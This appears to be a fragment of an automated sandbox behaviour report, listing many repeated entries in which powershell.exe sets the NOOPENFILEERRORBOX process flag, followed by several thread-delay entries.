Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591126	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590924	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590770	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590645	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590360	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590250	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590125	Jump to behavior
